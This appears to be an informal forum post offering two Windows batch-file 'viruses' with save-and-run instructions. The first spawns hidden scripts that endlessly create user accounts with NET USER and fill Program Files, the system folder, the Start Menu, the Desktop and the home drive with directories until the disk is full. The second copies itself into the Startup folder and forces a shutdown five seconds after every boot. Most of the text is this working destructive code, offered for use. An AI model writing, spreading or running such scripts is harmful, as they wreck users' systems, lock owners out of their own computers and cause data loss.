This extremely dangerous virus keeps replicating itself till your hard drive is full. Copy and paste it to a notepad and name it flood1.bat

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start
:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5
:bat5
@ECHO CD %%ProgramFiles%% >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1>> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4
:bat4
@ECHO CD %%SystemRoot%% >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1>> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3
:bat3
@ECHO CD %%UserProfile%%Start MenuPrograms >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2
:bat2
@ECHO CD %%UserProfile%%Desktop >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original
:original
CD %HomeDrive%
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

suppose u want to make a shutdown.bat a virus which will copy itself in start up n wenever comptuer starts it will shut down it in 5 secs..most dangerous kind of thing to fuck wit, be sure there's a restore point before working with such files...

@echo off
copy "abcd.bat" "C:Documents and Settings%username%Start MenuProgramsStartup"
@echo off
shutdown -s -t 5 -c "Shutdown"



save it as abcd.bat when ever u will run it it will be saved in ur start ups..
here t 5 means that ur comp will take 5secs to shut down u can make it 2 as well then it will be the most dangerous thing to handle.. lol
